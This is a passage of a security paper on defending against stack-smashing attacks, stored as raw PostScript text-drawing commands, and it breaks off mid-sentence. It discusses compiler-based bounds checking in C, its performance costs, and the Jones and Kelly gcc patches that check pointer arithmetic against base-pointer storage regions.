0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1569 9296 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2264 9296 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2440 9296 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3087 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3337 9296 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3726 9296 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4097 9296 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4301 9296 M (written ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4819 9296 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4995 9296 M (assembler, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5751 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6038 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6196 9296 M (thus ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6520 9296 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6779 9296 M (portable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9296 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (multiple architectures.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8744 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 8744 M (extreme ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2532 8744 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3187 8744 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3361 8744 M (solving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3895 8744 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4143 8744 M (problem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4743 8744 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5083 8744 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5331 8744 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5968 8744 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6576 8744 M (implementing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8468 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1745 8468 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2407 8468 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2598 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2863 8468 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3036 8468 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4005 8468 M (language. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4751 8468 M (Possibly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5377 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5642 8468 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6028 8468 M (dangerous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6774 8468 M (solution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 8468 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1466 8192 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1862 8192 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2545 8192 M (problem, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3196 8192 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3389 8192 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3683 8192 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4347 8192 M (violates ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4918 8192 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5083 8192 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6044 8192 M (l) ST -2 0 MR (a) ST -3 0 MR (n) ST -3 0 MR (g) ST -3 0 MR (u) ST -3 0 MR (a) ST -3 0 MR (g) ST -3 0 MR (e) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6793 8192 M (simplicity, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (efficiency, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2020 7916 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2366 7916 M (flexibility ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3127 7916 M (devices. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3816 7916 M (One ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4199 7916 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4915 7916 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5326 7916 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5561 7916 M (implementing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6591 7916 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6937 7916 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7640 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1959 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2225 7640 M (representation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3231 7640 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3433 7640 M (pointers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4032 7640 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4224 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4490 7640 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5153 7640 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5345 7640 M (include ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5897 7640 M (three ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6293 7640 M (items: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6763 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7029 7640 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7364 M (itself, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1632 7364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1920 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2171 7364 M (lower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2598 7364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2886 7364 M (upper ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3313 7364 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3841 7364 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4028 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4279 7364 M (p) ST -3 0 MR (o) ST -3 0 MR (i) ST -3 0 MR (n) ST -3 0 MR (t) ST -3 0 MR (e) ST -3 0 MR (r) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4893 7364 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5441 7364 M (space. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5943 7364 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6185 7364 M (giving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6657 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6908 7364 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1485 7088 M (additional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2225 7088 M (upper ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2680 7088 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2996 7088 M (lower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3451 7088 M (bound ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3942 7088 M (information, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4846 7088 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5014 7088 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5505 7088 M (then ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5867 7088 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6100 7088 M (trivial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6573 7088 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6778 7088 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7020 7088 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6812 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1931 6812 M (before ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2481 6812 M (byte ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2891 6812 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3338 6812 M (functions. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4165 6812 M (Despite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4797 6812 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5161 6812 M (benefit, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5789 6812 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6273 6812 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6637 6812 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 6812 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6536 M (implementing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2179 6536 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2713 6536 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3367 6536 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3643 6536 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3900 6536 M (following ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4600 6536 M (disadvantages: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5675 6536 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6375 6536 M (time ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6725 6536 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6918 6536 M (resulting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6260 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1569 6260 M (increases ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2226 6260 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2438 6260 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2558 6260 M (factor ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2993 6260 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3178 6260 M (ten ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3427 6260 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3612 6260 M (more[5], ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4238 6260 M (register ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4784 6260 M (allocation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5485 6260 M (becomes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6114 6260 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6503 6260 M (expensive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 6260 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 6260 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5984 M (factor ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1632 5984 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1813 5984 M (3:1, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2109 5984 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2428 5984 M (versions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3025 5984 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3206 5984 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3414 5984 M (compiled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4075 5984 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4580 5984 M (libraries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5168 5984 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5450 5984 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5955 5984 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6302 5984 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6668 5984 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6867 5984 M (provided, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5708 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1485 5708 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1842 5708 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2134 5708 M (interfaces ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2825 5708 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3163 5708 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3409 5708 M (hardware ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4072 5708 M (directly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4623 5708 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4953 5708 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5153 5708 M (completely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5935 5708 M (incompatible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6846 5708 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7028 5708 M (require ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5432 M (special attention.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5156 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1897 5156 M (unique ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2414 5156 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3089 5156 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3283 5156 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4041 5156 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4309 5156 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4966 5156 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5160 5156 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5465 5156 M (manner ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6030 5156 M (was ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6354 5156 M (done ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6742 5156 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6973 5156 M (Richard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4880 M (Jones ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1620 4880 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1904 4880 M (Paul ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2244 4880 M (Kelly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2657 4880 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2821 4880 M (Imperial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3430 4880 M (College ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3991 4880 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4164 4880 M (July ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4485 4880 M (1995) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4817 4921 M (14) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4955 4880 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5083 4880 M (Their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5488 4880 M (patches ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6031 4880 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6204 4880 M (gcc ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6479 4880 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6727 4880 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 4880 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4604 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1688 4604 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1973 4604 M (binary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2443 4604 M (form) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2768 4645 M (15) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2906 4604 M (.[6] ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3230 4604 M (Their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3636 4604 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4291 4604 M (involved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4917 4604 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5655 4604 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5903 4604 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6540 4604 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6714 4604 M (perform ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 4604 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4328 M (same ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1684 4328 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2104 4328 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2377 4328 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2991 4328 M (checking, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3767 4328 M (without ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4408 4328 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5235 4328 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5572 4328 M (representation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6649 4328 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6922 4328 M (pointers. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4052 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2129 4052 M (Jones ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2545 4052 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2831 4052 M (Kelly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3246 4052 M (provided ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3883 4052 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4132 4052 M (option ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4602 4052 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4777 4052 M (turn ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5091 4052 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5340 4052 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5866 4052 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6512 4052 M (mode ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 6928 4052 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7140 4052 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7325 4052 M (off) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7500 4052 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3776 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1385 3776 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1504 3776 M (given ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1918 3776 M (program. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2612 3776 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2851 3776 M (representing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3719 3776 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4134 3776 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4650 3776 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4990 3776 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5109 3776 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5431 3776 M (base ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5781 3776 M (pointer, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6348 3776 M (k) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6422 3776 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6551 3776 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6845 3776 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7001 3776 M (derived ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3500 M (from the original pointer, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2926 3500 M (p) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3009 3500 M (, the following formula was used:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2495 M (Only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1588 2495 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1884 2495 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2411 2495 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2578 2495 M (valid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2966 2495 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3217 2495 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3347 2495 M (given ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3772 2495 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4253 2495 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4549 2495 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4845 2495 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5132 2495 M (check ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5576 2495 M (whether ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6168 2495 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6298 2495 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6825 2495 M (arithmetic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2219 M (expression ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1966 2219 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2119 2219 M (valid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2493 2219 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2701 2219 M (finding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3223 2219 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3422 2219 M (base ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3760 2219 M (p) ST -3 0 MR (o) ST -3 0 MR (i) ST -3 0 MR (n) ST -3 0 MR (t) ST -3 0 MR (e) ST -3 0 MR (r) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4368 2219 M (storage ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4891 2219 M (region. ) ST GR 0.0000 